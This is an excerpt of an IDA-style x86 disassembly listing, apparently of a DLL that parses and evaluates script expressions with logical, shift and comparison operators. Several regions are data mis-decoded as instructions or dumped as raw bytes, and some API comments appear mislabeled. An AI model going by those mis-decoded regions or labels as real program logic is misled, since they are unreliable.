loc_41AA68:				; CODE XREF: sub_41A9E6+1Bj
		imul	esi, [edx+65h],	726F7463h

loc_41AA6F:				; CODE XREF: sub_41A9E6+14j
		jns	short loc_41AA9A

loc_41AA71:				; CODE XREF: sub_41A9E6+47j
		cmp	ecx, ds:202F2F0Ah
		db	66h
		jnb	short near ptr loc_41AAE8+1
		db	2Eh
		inc	ebx
		jb	short loc_41AAE3
		popa
		jz	short near ptr loc_41AAE5+1
		inc	esi

loc_41AA82:				; CODE XREF: sub_41A9E6+5Fj
		outsd
		insb

loc_41AA84:				; CODE XREF: sub_41A9E6+2Aj
		db	64h, 65h
		jb	short loc_41AAB0
sub_41A9E6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41AA88	proc near		; CODE XREF: .data:0041ACDDp
		and	ch, [esi]
		pop	esp
		pop	esp
		popa
		jnb	short loc_41AAF0
		jnb	short loc_41AAF5

loc_41AA91:				; CODE XREF: sub_41A9E6+44j
		db	66h
		and	ch, [ecx]

loc_41AA94:				; DATA XREF: .data:off_40C5E0o
		cmp	ecx, ds:0FFFC000Ah

loc_41AA9A:				; CODE XREF: sub_41A9E6:loc_41AA6Fj
					; sub_41A9E6+42j
		jmp	fword ptr [eax+58h]
sub_41AA88	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 30h,	0, 10h
		dd 4415FF50h, 83100030h, 0BD8D0CC4h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41A9E6

loc_41AAAC:				; CODE XREF: sub_41A9E6+80j
		add	ah, bh
; END OF FUNCTION CHUNK	FOR sub_41A9E6
; ---------------------------------------------------------------------------
		dw 0FFFFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41A9E6

loc_41AAB0:				; CODE XREF: sub_41A9E6:loc_41AA84j
		call	near ptr loc_41A824+2
		pop	edi
		leave
		retn
; END OF FUNCTION CHUNK	FOR sub_41A9E6

; =============== S U B	R O U T	I N E =======================================



sub_41AAB8	proc near		; CODE XREF: sub_41A9E6+111p
					; sub_41BC50+11Fp ...

arg_0		= dword	ptr  4

		test	ecx, ecx
		push	esi
		mov	esi, eax
		mov	eax, [esp+4+arg_0]
		jz	short loc_41AAD4
		test	eax, eax
		jz	short loc_41AAD4

loc_41AAC7:				; CODE XREF: sub_41A9E6+6Bj
		test	esi, esi

loc_41AAC9:				; CODE XREF: sub_41A9E6:loc_41AA63j
		jle	short loc_41AAD4

loc_41AACB:				; CODE XREF: sub_41AAB8+1Aj
		mov	dl, [ecx]
		mov	[eax], dl
		inc	eax
		inc	ecx
		dec	esi
		jnz	short loc_41AACB

loc_41AAD4:				; CODE XREF: sub_41AAB8+9j
					; sub_41AAB8+Dj ...
		mov	eax, [esp+4+arg_0]
		pop	esi
		retn
sub_41AAB8	endp

; ---------------------------------------------------------------------------

loc_41AADA:				; CODE XREF: sub_41AF33+170p
					; .data:0041BAE0p
		push	esi
		push	dword ptr [esp+8]
; ---------------------------------------------------------------------------
		db 0FFh
		db 15h,	4, 30h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41A9E6

loc_41AAE3:				; CODE XREF: sub_41A9E6+96j
		add	[eax], dl

loc_41AAE5:				; CODE XREF: sub_41A9E6+99j
		mov	esi, eax
		push	esi

loc_41AAE8:				; CODE XREF: sub_41A9E6+91j
		push	40h
		call	dword ptr ds:10003000h

loc_41AAF0:				; CODE XREF: sub_41AA88+5j
		mov	ecx, [esp+1Ch+var_14]
		push	eax

loc_41AAF5:				; CODE XREF: sub_41AA88+7j
		mov	eax, esi
		call	sub_41AAB8
		pop	ecx
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_41A9E6

; =============== S U B	R O U T	I N E =======================================



sub_41AAFF	proc near		; CODE XREF: .data:0041AC47p
					; .data:0041AC72p
		push	edi
		call	sub_41A7C9
		mov	edi, eax
		mov	eax, [esi+4]
		test	eax, eax
		jnz	short loc_41AB1C
		push	10003074h

loc_41AB13:				; CODE XREF: sub_41AAFF+27j
		push	edi
		call	dword ptr ds:1000300Ch
		jmp	short loc_41AB42
; ---------------------------------------------------------------------------

loc_41AB1C:				; CODE XREF: sub_41AAFF+Dj
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41AB28
		push	1000306Ch
		jmp	short loc_41AB13
; ---------------------------------------------------------------------------

loc_41AB28:				; CODE XREF: sub_41AAFF+20j
		cmp	eax, 1
		jnz	short loc_41AB42
		push	dword ptr [esi+1498h]
		push	10003060h
		push	edi
		call	dword ptr ds:10003044h
		add	esp, 0Ch

loc_41AB42:				; CODE XREF: sub_41AAFF+1Bj
					; sub_41AAFF+2Cj
		mov	eax, edi
		pop	edi
		retn
sub_41AAFF	endp

; ---------------------------------------------------------------------------
aLdG4@_0	db '‹D$',8,'£4@',0
		dw 8B10h
		dd 0A3102444h, 10004030h, 0C24448Bh, 2CA35756h,	0E8100040h
		dd 3CBh, 86F6F08Bh, 810h, 561C7404h, 0FFFF0FE8h, 80E859FFh
		dd 8BFFFFFFh, 0FCA0E8F8h, 0FF50FFFFh, 300815h, 8330EB10h
		dd 7400047Eh, 0FF65E823h, 0F88BFFFFh, 0FFFC85E8h, 83D8BFFh
		dd 50100030h, 86F6D7FFh, 810h, 560C7502h, 7EBD7FFh, 0FECAE856h
		dd 5F59FFFFh
		db 5Eh,	0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+0Ch]
		mov	ds:10004034h, eax
		mov	eax, [ebp+14h]
		mov	ds:10004030h, eax
		mov	eax, [ebp+10h]
		push	ebx
		push	edi
		mov	ds:1000402Ch, eax
		call	sub_41AF33
		mov	ebx, eax
		cmp	dword ptr [ebx+4], 1
		jz	short loc_41ABF6
		mov	edi, ebx
		call	sub_41B59B

loc_41ABF6:				; CODE XREF: .data:0041ABEDj
		push	ebx
		call	sub_41B5DB
		pop	ecx
		mov	ecx, [ebx+4]
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41AC34
		mov	eax, [ebx]
		sub	eax, 0
		jz	short loc_41AC26
		dec	eax
		jz	short loc_41AC15
		dec	eax
		jz	short loc_41AC1D
		dec	eax
		jnz	short loc_41AC34

loc_41AC15:				; CODE XREF: .data:0041AC0Dj
		push	ebx
		call	sub_41B903
		jmp	short loc_41AC31
; ---------------------------------------------------------------------------

loc_41AC1D:				; CODE XREF: .data:0041AC10j
		mov	edi, ebx
		call	sub_41BC50
		jmp	short loc_41AC34
; ---------------------------------------------------------------------------

loc_41AC26:				; CODE XREF: .data:0041AC0Aj
		cmp	ecx, 1
		jnz	short loc_41AC34
		push	ebx
		call	sub_41BB8E

loc_41AC31:				; CODE XREF: .data:0041AC1Bj
		pop	ecx
		mov	ebx, eax

loc_41AC34:				; CODE XREF: .data:0041AC03j
					; .data:0041AC13j ...
		test	byte ptr [ebx+810h], 4
		push	esi
		jz	short loc_41AC5C
		push	ebx
		call	sub_41B794
		pop	ecx
		mov	esi, ebx
		call	sub_41AAFF
		mov	edi, eax
		call	near ptr loc_41A824+2
		push	eax
		call	dword ptr ds:10003008h
		jmp	short loc_41ACA1
; ---------------------------------------------------------------------------

loc_41AC5C:				; CODE XREF: .data:0041AC3Cj
		cmp	dword ptr [ebx+4], 0
		jz	short loc_41AC9A
		push	8
		pop	ecx
		lea	esi, [ebx+818h]
		lea	edi, [ebp-20h]
		rep movsd
		mov	esi, ebx
		call	sub_41AAFF
		lea	edi, [ebx+818h]
		push	ebx
		mov	[ebx+820h], eax
		mov	dword ptr [edi], 3
		call	sub_41B794
		pop	ecx
		push	8
		pop	ecx
		lea	esi, [ebp-20h]
		rep movsd
		jmp	short loc_41ACA1
; ---------------------------------------------------------------------------

loc_41AC9A:				; CODE XREF: .data:0041AC60j
		push	ebx
		call	sub_41B794
		pop	ecx

loc_41ACA1:				; CODE XREF: .data:0041AC5Aj
					; .data:0041AC98j
		cmp	dword ptr [ebx+4], 1
		pop	esi
		jz	short loc_41ACE3
		mov	ecx, ebx
		call	sub_41B75E
		test	byte ptr [ebx+810h], 40h
		jz	short loc_41ACCE
		cmp	dword ptr [ebx], 1
		jnz	short loc_41ACCE
		mov	eax, [ebx+808h]
		test	eax, eax
		jz	short loc_41ACCE
		push	eax
		call	dword ptr ds:10003014h

loc_41ACCE:				; CODE XREF: .data:0041ACB6j
					; .data:0041ACBBj ...
		test	byte ptr [ebx+810h], 20h
		jz	short loc_41ACE3
		push	dword ptr ds:10004018h
		call	sub_41AA88
		pop	ecx

loc_41ACE3:				; CODE XREF: .data:0041ACA6j
					; .data:0041ACD5j
		test	byte ptr [ebx+810h], 2
		jnz	short loc_41ACF3
		push	ebx
		call	dword ptr ds:10003008h

loc_41ACF3:				; CODE XREF: .data:0041ACEAj
		pop	edi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		mov	eax, [ebp+0Ch]
		push	ebx
		push	esi
		mov	ds:10004034h, eax
		mov	eax, [ebp+14h]
		xor	esi, esi
		push	edi
		mov	ds:10004030h, eax
		mov	[ebp-4], esi
		call	near ptr loc_41A7E8+1
		mov	[ebp-0Ch], eax
		call	near ptr loc_41A7E8+1
		push	dword ptr [ebp-0Ch]
		mov	[ebp+14h], eax
		call	sub_41A8BB
		pop	ecx
		mov	ecx, [ebp+14h]
		mov	edi, eax
		mov	al, [ecx]
		cmp	al, 7Eh
		mov	ebx, edx
		jz	short loc_41AD62
		cmp	al, 21h
		jz	short loc_41AD62
		call	near ptr loc_41A7E8+1
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41A8BB
		pop	ecx
		push	dword ptr [ebp+0Ch]
		mov	esi, eax
		mov	[ebp-4], edx
		call	dword ptr ds:10003008h
		mov	ecx, [ebp+14h]

loc_41AD62:				; CODE XREF: .data:0041AD3Cj
					; .data:0041AD40j
		mov	al, [ecx]
		mov	[ebp+0Fh], al
		movsx	eax, al
		cmp	eax, 2Fh
		jg	loc_41AE14
		jz	short loc_41ADEB
		sub	eax, 21h
		jz	short loc_41ADDC
		sub	eax, 4
		jz	short loc_41ADEB
		dec	eax
		jz	short loc_41ADB6
		sub	eax, 4
		jz	short loc_41ADA6
		dec	eax
		jz	short loc_41AD9C
		dec	eax
		dec	eax
		jnz	loc_41AEA5
		sub	edi, esi
		sbb	ebx, [ebp-4]
		jmp	loc_41AEA5
; ---------------------------------------------------------------------------

loc_41AD9C:				; CODE XREF: .data:0041AD88j
		add	edi, esi
		adc	ebx, [ebp-4]
		jmp	loc_41AEA5
; ---------------------------------------------------------------------------

loc_41ADA6:				; CODE XREF: .data:0041AD85j
		push	dword ptr [ebp-4]
		push	esi
		push	ebx
		push	edi
		call	sub_41BEF0
		jmp	loc_41AEA1
; ---------------------------------------------------------------------------

loc_41ADB6:				; CODE XREF: .data:0041AD80j
		cmp	byte ptr [ecx+1], 26h
		jnz	short loc_41ADD2
		or	edi, ebx
		jz	loc_41AE9E
		or	esi, [ebp-4]
		jz	loc_41AE9E
		jmp	loc_41AE7B
; ---------------------------------------------------------------------------

loc_41ADD2:				; CODE XREF: .data:0041ADBAj
		and	edi, esi
		and	ebx, [ebp-4]
		jmp	loc_41AEA5
; ---------------------------------------------------------------------------

loc_41ADDC:				; CODE XREF: .data:0041AD78j
		xor	eax, eax
		or	edi, ebx
		jnz	loc_41AEA0
		jmp	loc_41AE7D
; ---------------------------------------------------------------------------

loc_41ADEB:				; CODE XREF: .data:0041AD73j
					; .data:0041AD7Dj
		mov	eax, esi
		or	eax, [ebp-4]
		jnz	short loc_41ADF8
		xor	eax, eax
		xor	edx, edx
		jmp	short loc_41AE05
; ---------------------------------------------------------------------------

loc_41ADF8:				; CODE XREF: .data:0041ADF0j
		push	dword ptr [ebp-4]
		push	esi
		push	ebx
		push	edi
		call	sub_41BE10
		mov	edi, ecx

loc_41AE05:				; CODE XREF: .data:0041ADF6j
		cmp	byte ptr [ebp+0Fh], 2Fh
		jz	loc_41AEA1
		jmp	loc_41AEA5
; ---------------------------------------------------------------------------

loc_41AE14:				; CODE XREF: .data:0041AD6Dj
		sub	eax, 3Ch
		jz	short loc_41AE80
		dec	eax
		jz	short loc_41AE72
		dec	eax
		jz	short loc_41AE52
		sub	eax, 20h
		jz	short loc_41AE4B
		sub	eax, 1Eh
		jz	short loc_41AE33
		dec	eax
		dec	eax
		jnz	short loc_41AEA5
		not	edi
		not	ebx
		jmp	short loc_41AEA5
; ---------------------------------------------------------------------------

loc_41AE33:				; CODE XREF: .data:0041AE27j
		cmp	byte ptr [ecx+1], 7Ch
		jnz	short loc_41AE44
		or	edi, ebx
		jnz	short loc_41AE7B
		or	esi, [ebp-4]
		jnz	short loc_41AE7B
		jmp	short loc_41AE9E
; ---------------------------------------------------------------------------

loc_41AE44:				; CODE XREF: .data:0041AE37j
		or	edi, esi
		or	ebx, [ebp-4]
		jmp	short loc_41AEA5
; ---------------------------------------------------------------------------

loc_41AE4B:				; CODE XREF: .data:0041AE22j
		xor	edi, esi
		xor	ebx, [ebp-4]
		jmp	short loc_41AEA5
; ---------------------------------------------------------------------------

loc_41AE52:				; CODE XREF: .data:0041AE1Dj
		cmp	byte ptr [ecx+1], 3Eh
		jnz	short loc_41AE65
		mov	eax, edi
		mov	edx, ebx
		mov	ecx, esi
		call	sub_41BF50
		jmp	short loc_41AEA1
; ---------------------------------------------------------------------------

loc_41AE65:				; CODE XREF: .data:0041AE56j
		cmp	ebx, [ebp-4]
		jl	short loc_41AE9E
		jg	short loc_41AE7B
		cmp	edi, esi
		jbe	short loc_41AE9E
		jmp	short loc_41AE7B
; ---------------------------------------------------------------------------

loc_41AE72:				; CODE XREF: .data:0041AE1Aj
		cmp	edi, esi
		jnz	short loc_41AE9E
		cmp	ebx, [ebp-4]
		jnz	short loc_41AE9E

loc_41AE7B:				; CODE XREF: .data:0041ADCDj
					; .data:0041AE3Bj ...
		xor	eax, eax

loc_41AE7D:				; CODE XREF: .data:0041ADE6j
		inc	eax
		jmp	short loc_41AEA0
; ---------------------------------------------------------------------------

loc_41AE80:				; CODE XREF: .data:0041AE17j
		cmp	byte ptr [ecx+1], 3Ch
		jnz	short loc_41AE93
		mov	eax, edi
		mov	edx, ebx
		mov	ecx, esi
		call	sub_41BF30
		jmp	short loc_41AEA1
; ---------------------------------------------------------------------------

loc_41AE93:				; CODE XREF: .data:0041AE84j
		cmp	ebx, [ebp-4]
		jg	short loc_41AE9E
		jl	short loc_41AE7B
		cmp	edi, esi
		jb	short loc_41AE7B

loc_41AE9E:				; CODE XREF: .data:0041ADBEj
					; .data:0041ADC7j ...
		xor	eax, eax

loc_41AEA0:				; CODE XREF: .data:0041ADE0j
					; .data:0041AE7Ej
		cdq

loc_41AEA1:				; CODE XREF: .data:0041ADB1j
					; .data:0041AE09j ...
		mov	edi, eax
		mov	ebx, edx

loc_41AEA5:				; CODE XREF: .data:0041AD8Cj
					; .data:0041AD97j ...
		push	ebx
		push	edi
		lea	eax, [ebp-8Ch]
		call	sub_41A9E6
		pop	ecx
		pop	ecx
		lea	edi, [ebp-8Ch]
		call	near ptr loc_41A824+2
		push	dword ptr [ebp-0Ch]
		mov	esi, ds:10003008h
		call	esi	; SetErrorMode
		push	dword ptr [ebp+14h]
		call	esi	; SetErrorMode
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		inc	dword ptr [eax]
		mov	edx, [eax]
		push	esi
		lea	esi, [ebp-80h]

loc_41AEE5:				; CODE XREF: .data:0041AF1Fj
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_41AEF1
		cmp	cl, 66h
		jle	short loc_41AF19

loc_41AEF1:				; CODE XREF: .data:0041AEEAj
		cmp	cl, 41h
		jl	short loc_41AEFB
		cmp	cl, 46h
		jle	short loc_41AF19

loc_41AEFB:				; CODE XREF: .data:0041AEF4j
		cmp	cl, 30h
		jl	short loc_41AF05
		cmp	cl, 39h
		jle	short loc_41AF19

loc_41AF05:				; CODE XREF: .data:0041AEFEj
		cmp	cl, 58h
		jz	short loc_41AF19
		cmp	cl, 2Dh
		jz	short loc_41AF19
		cmp	cl, 78h
		jz	short loc_41AF19
		cmp	cl, 7Ch
		jnz	short loc_41AF21

loc_41AF19:				; CODE XREF: .data:0041AEEFj
					; .data:0041AEF9j ...
		mov	[esi], cl
		inc	esi
		inc	edx
		mov	[eax], edx
		jmp	short loc_41AEE5
; ---------------------------------------------------------------------------

loc_41AF21:				; CODE XREF: .data:0041AF17j
		dec	dword ptr [eax]
		lea	eax, [ebp-80h]
		push	eax
		mov	byte ptr [esi],	0
		call	sub_41A8BB
		pop	ecx
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AF33	proc near		; CODE XREF: .data:0041ABE2p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		xor	esi, esi
		call	sub_41A7C9
		mov	[ebp+var_14], eax
		mov	[ebp+var_18], eax
		call	sub_41A7C9
		mov	[ebp+var_24], eax
		call	near ptr loc_41A7E8+1
		mov	[ebp+var_2C], eax
		mov	[ebp+var_8], eax

loc_41AF6A:				; CODE XREF: sub_41AF33+21Cj
		mov	eax, [ebp+var_1C]
		mov	edi, [ebp+var_8]
		mov	dl, [edi]
		mov	[ebp+var_28], eax
		movsx	eax, dl
		mov	ecx, eax
		sub	ecx, ebx
		jz	short loc_41AFD1
		sub	ecx, 23h
		jz	short loc_41AFC9
		sub	ecx, 5
		jz	short loc_41AFB3
		dec	ecx
		jz	short loc_41AFA4
		sub	ecx, 16h
		jnz	loc_41B0CB
		mov	[ebp+var_1C], 3
		mov	[ebp+var_4], 1
		jmp	short loc_41AFD5
; ---------------------------------------------------------------------------

loc_41AFA4:				; CODE XREF: sub_41AF33+56j
		mov	[ebp+var_1C], 2

loc_41AFAB:				; CODE XREF: sub_41AF33+94j
		mov	[ebp+var_4], ebx
		mov	[ebp+var_10], ebx
		jmp	short loc_41AFD5
; ---------------------------------------------------------------------------

loc_41AFB3:				; CODE XREF: sub_41AF33+53j
		xor	eax, eax
		cmp	[ebp+var_20], 3
		mov	[ebp+var_1C], 1
		setz	al
		inc	eax
		mov	[ebp+var_C], eax
		jmp	short loc_41AFAB
; ---------------------------------------------------------------------------

loc_41AFC9:				; CODE XREF: sub_41AF33+4Ej
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		jmp	short loc_41AFD5
; ---------------------------------------------------------------------------

loc_41AFD1:				; CODE XREF: sub_41AF33+49j
		or	[ebp+var_1C], 0FFFFFFFFh

loc_41AFD5:				; CODE XREF: sub_41AF33+6Fj
					; sub_41AF33+7Ej ...
		mov	eax, [ebp+var_28]
		sub	eax, ebx
		jz	short loc_41AFF1
		dec	eax
		jnz	loc_41B0BD
		mov	eax, [ebp+var_C]
		mov	[esi+814h], eax
		jmp	loc_41B0BD
; ---------------------------------------------------------------------------

loc_41AFF1:				; CODE XREF: sub_41AF33+A7j
		cmp	esi, ebx
		mov	eax, [ebp+var_18]
		mov	byte ptr [eax],	0
		jnz	short loc_41B016
		push	14A4h
		push	40h
		call	dword ptr ds:10003000h
		mov	esi, eax
		mov	[esi+810h], ebx
		mov	[esi+814h], ebx

loc_41B016:				; CODE XREF: sub_41AF33+C6j
		mov	ecx, [ebp+var_20]
		lea	eax, [esi+8]
		lea	edi, [esi+408h]
		mov	[esi], ecx
		sub	ecx, ebx
		mov	byte ptr [eax],	0
		mov	byte ptr [edi],	0
		mov	[esi+808h], ebx
		mov	[esi+80Ch], ebx
		mov	[esi+4], ebx
		jz	short loc_41B05C
		dec	ecx
		jz	short loc_41B046
		dec	ecx
		jz	short loc_41B050
		dec	ecx
		jnz	short loc_41B0BD

loc_41B046:				; CODE XREF: sub_41AF33+10Bj
		push	[ebp+var_24]
		push	eax
		call	dword ptr ds:1000300Ch

loc_41B050:				; CODE XREF: sub_41AF33+10Ej
		push	[ebp+var_14]
		push	edi
		call	dword ptr ds:1000300Ch
		jmp	short loc_41B0BD
; ---------------------------------------------------------------------------

loc_41B05C:				; CODE XREF: sub_41AF33+108j
		mov	eax, [ebp+var_14]
		cmp	[ebp+var_18], eax
		jz	short loc_41B0BD
		push	esi
		xor	edi, edi
		call	dword ptr ds:10003008h
		push	[ebp+var_14]
		call	sub_41A8BB
		mov	esi, eax
		cmp	esi, ebx
		pop	ecx
		jz	short loc_41B0BD

loc_41B07C:				; CODE XREF: sub_41AF33+159j
		mov	eax, [esi+14A0h]
		cmp	eax, ebx
		jz	short loc_41B08E
		mov	edi, esi
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_41B07C

loc_41B08E:				; CODE XREF: sub_41AF33+151j
		cmp	edi, ebx
		jz	short loc_41B098
		mov	[edi+14A0h], ebx

loc_41B098:				; CODE XREF: sub_41AF33+15Dj
		mov	eax, [esi+810h]
		test	al, 8
		jz	short loc_41B0B4
		push	esi
		call	loc_41AADA
		mov	esi, eax
		and	dword ptr [esi+810h], 0FFFFFFF5h
		pop	ecx
		jmp	short loc_41B0BD
; ---------------------------------------------------------------------------

loc_41B0B4:				; CODE XREF: sub_41AF33+16Dj
		or	eax, 2
		mov	[esi+810h], eax

loc_41B0BD:				; CODE XREF: sub_41AF33+AAj
					; sub_41AF33+B9j ...
		mov	eax, [ebp+var_14]
		inc	[ebp+var_8]
		mov	[ebp+var_18], eax
		jmp	loc_41B14B
; ---------------------------------------------------------------------------

loc_41B0CB:				; CODE XREF: sub_41AF33+5Bj
		mov	ecx, [ebp+var_1C]
		sub	ecx, ebx
		jz	loc_41B3CB
		dec	ecx
		jz	loc_41B1FB
		dec	ecx
		jz	loc_41B1F8
		dec	ecx
		jnz	loc_41B43A
		sub	eax, 21h
		jz	short loc_41B139
		sub	eax, 42h
		jz	short loc_41B134
		dec	eax
		dec	eax
		jz	short loc_41B11A
		sub	eax, 9
		jz	short loc_41B116
		sub	eax, 4
		jz	short loc_41B112
		dec	eax
		jz	short loc_41B10E
		dec	eax
		dec	eax
		jnz	short loc_41B13C
		push	40h
		jmp	short loc_41B11C
; ---------------------------------------------------------------------------

loc_41B10E:				; CODE XREF: sub_41AF33+1D1j
		push	10h
		jmp	short loc_41B11C
; ---------------------------------------------------------------------------

loc_41B112:				; CODE XREF: sub_41AF33+1CEj
		push	4
		jmp	short loc_41B11C
; ---------------------------------------------------------------------------

loc_41B116:				; CODE XREF: sub_41AF33+1C9j
		push	8
		jmp	short loc_41B11C
; ---------------------------------------------------------------------------

loc_41B11A:				; CODE XREF: sub_41AF33+1C4j
		push	20h

loc_41B11C:				; CODE XREF: sub_41AF33+1D9j
					; sub_41AF33+1DDj ...
		pop	eax

loc_41B11D:				; CODE XREF: sub_41AF33+204j
		xor	ecx, ecx
		inc	ecx
		cmp	[ebp+var_4], ecx
		jnz	loc_41B1E8
		or	[esi+810h], eax
		jmp	loc_41B1F0
; ---------------------------------------------------------------------------

loc_41B134:				; CODE XREF: sub_41AF33+1C0j
		xor	eax, eax
		inc	eax
		jmp	short loc_41B11D
; ---------------------------------------------------------------------------

loc_41B139:				; CODE XREF: sub_41AF33+1BBj
		neg	[ebp+var_4]

loc_41B13C:				; CODE XREF: sub_41AF33+1D5j
					; sub_41AF33+2C0j ...
		mov	eax, [ebp+var_14]
		mov	edi, [ebp+var_8]
		mov	[ebp+var_18], eax
		xor	ebx, ebx

loc_41B147:				; CODE XREF: sub_41AF33+50Fj
		inc	edi
		mov	[ebp+var_8], edi

loc_41B14B:				; CODE XREF: sub_41AF33+193j
		cmp	[ebp+var_1C], 0FFFFFFFFh
		jnz	loc_41AF6A
		push	[ebp+var_2C]
		mov	edi, ds:10003008h
		call	edi	; lstrcat
		push	[ebp+var_14]
		call	edi	; lstrcat
		push	[ebp+var_24]
		call	edi	; lstrcat
		cmp	[esi+80Ch], ebx
		jnz	loc_41B4E2
		mov	eax, [esi]
		dec	eax
		jz	loc_41B465
		dec	eax
		jz	loc_41B447
		dec	eax
		jnz	loc_41B4E2
		lea	ebx, [esi+8]
		push	ebx
		call	sub_41A8BB
		mov	edi, eax
		test	edi, edi
		pop	ecx
		mov	[esi+808h], edi
		jz	loc_41B4DE
		and	dword ptr [esi+850h], 0
		push	ebx
		call	sub_41A7D8
		and	dword ptr [esi+83Ch], 0
		mov	[esi+84Ch], eax
		xor	eax, eax
		inc	eax
		mov	[esi+848h], eax
		mov	[esi+838h], eax
		lea	eax, [esi+408h]
		push	eax
		call	sub_41A8BB
		pop	ecx
		pop	ecx
		mov	ecx, [edi]
		mov	eax, [ecx+eax*4]
		jmp	loc_41B45D
; ---------------------------------------------------------------------------

loc_41B1E8:				; CODE XREF: sub_41AF33+1F0j
		not	eax
		and	[esi+810h], eax

loc_41B1F0:				; CODE XREF: sub_41AF33+1FCj
		mov	[ebp+var_4], ecx
		jmp	loc_41B13C
; ---------------------------------------------------------------------------

loc_41B1F8:				; CODE XREF: sub_41AF33+1ABj
		mov	[ebp+var_C], ebx

loc_41B1FB:				; CODE XREF: sub_41AF33+1A4j
		add	eax, 0FFFFFFDEh
		xor	ebx, ebx
		cmp	eax, 55h
		ja	loc_41B13C
		movzx	eax, byte ptr [eax+10001F65h]
		jmp	dword ptr ds:10001F09h[eax*4]
; ---------------------------------------------------------------------------
		db 8Bh
		dd 81486h, 0F4453B00h, 4589037Eh, 0FC6583F4h, 0F0658300h
		dd 0FF0AE900h, 6583FFFFh, 658300FCh, 45FF00F0h,	0FEFAE9F4h
		dd 45C7FFFFh, 1FCh, 0FEEEE900h,	4D83FFFFh, 0E5E9FFFCh
		dd 33FFFFFEh, 0F44D8BC0h, 8305E1C1h, 8DFFFC7Dh,	8789313Ch
		dd 818h, 48B0B74h, 307885h, 7FC08510h, 40C03303h, 1FC7D83h
		dd 8288789h, 0C750000h,	0E8F8458Dh, 0FFFFFC44h,	0FC458940h
		dd 89FC458Bh, 81C87h, 0F4458B00h, 0C141488Dh, 0C03305E1h
		dd 89310489h, 82C87h, 30878900h, 85000008h, 7D840FDBh
		dd 83FFFFFEh, 7500F07Dh, 0F4458B22h, 8D05E0C1h,	82C30BCh
		dd 78B0000h, 7EFFF883h,	19F88305h, 0FF50077Eh, 300815h
		dd 831F8910h, 7501F07Dh, 0F4458B0Dh, 8905E0C1h,	830309Ch
		dd 45FF0000h, 0FE3AE9F0h, 0C033FFFFh, 0FF4FE940h, 26AFFFFh
		dd 36A0EEBh, 56A0AEBh, 46A06EBh, 66A02EBh, 0FF37E958h
		dd 458DFFFFh, 0FBAAE8F8h, 0D88BFFFFh, 0BFB8343h, 0C383857Dh
		dd 8D80EB0Ah, 95E8F845h, 8BFFFFFBh, 70E943D8h, 83FFFFFFh
		dd 0F00F07Dh, 0FFFDEB85h, 0F84DFFFFh, 0FFF470E8h, 8DD88BFFh
		dd 71E8F845h, 52FFFFFBh, 0E8C38B50h, 0FFFFF67Ah, 44E95959h
		dd 8BFFFFFFh, 7D8BEC45h, 0F8A47F8h, 7D89CA3Ah, 380575F8h
		dd 10750157h, 0C74C984h, 175CA3Ah, 880F8A47h, 0E1EB4008h
		dd 0C6EC75FFh, 35E80000h, 59FFFFF4h, 0CE9D88Bh,	83FFFFFFh
		dd 0CE9FFCBh, 6AFFFFFFh, 6A0EEB15h, 6A0AEB16h, 6A06EB17h
		dd 6A02EB18h, 0F4E95B19h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_41B3CB:				; CODE XREF: sub_41AF33+19Dj
		cmp	dl, 2Ah
		jz	short loc_41B42E
		cmp	dl, 2Dh
		jz	short loc_41B3DF
		cmp	dl, 3Ah
		jnz	short loc_41B43A
		cmp	dl, 2Dh
		jnz	short loc_41B3F0

loc_41B3DF:				; CODE XREF: sub_41AF33+4A0j
		lea	eax, [edi+1]
		cmp	byte ptr [eax],	3Eh
		jnz	short loc_41B3F0
		mov	[ebp+var_20], 3
		jmp	short loc_41B404
; ---------------------------------------------------------------------------

loc_41B3F0:				; CODE XREF: sub_41AF33+4AAj
					; sub_41AF33+4B2j
		lea	eax, [edi+1]
		cmp	byte ptr [eax],	3Ah
		jnz	short loc_41B43A
		cmp	dl, 2Dh
		jz	short loc_41B43A
		mov	[ebp+var_20], 1

loc_41B404:				; CODE XREF: sub_41AF33+4BBj
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_14]
		jbe	short loc_41B423
		push	[ebp+var_14]
		mov	byte ptr [eax],	0
		push	[ebp+var_24]
		call	dword ptr ds:1000300Ch
		jmp	loc_41B13C
; ---------------------------------------------------------------------------

loc_41B423:				; CODE XREF: sub_41AF33+4DAj
		mov	eax, [ebp+var_24]
		mov	byte ptr [eax],	0
		jmp	loc_41B13C
; ---------------------------------------------------------------------------

loc_41B42E:				; CODE XREF: sub_41AF33+49Bj
		mov	[ebp+var_20], 2
		jmp	loc_41B13C
; ---------------------------------------------------------------------------

loc_41B43A:				; CODE XREF: sub_41AF33+1B2j
					; sub_41AF33+4A5j ...
		mov	eax, [ebp+var_18]
		inc	[ebp+var_18]
		mov	[eax], dl
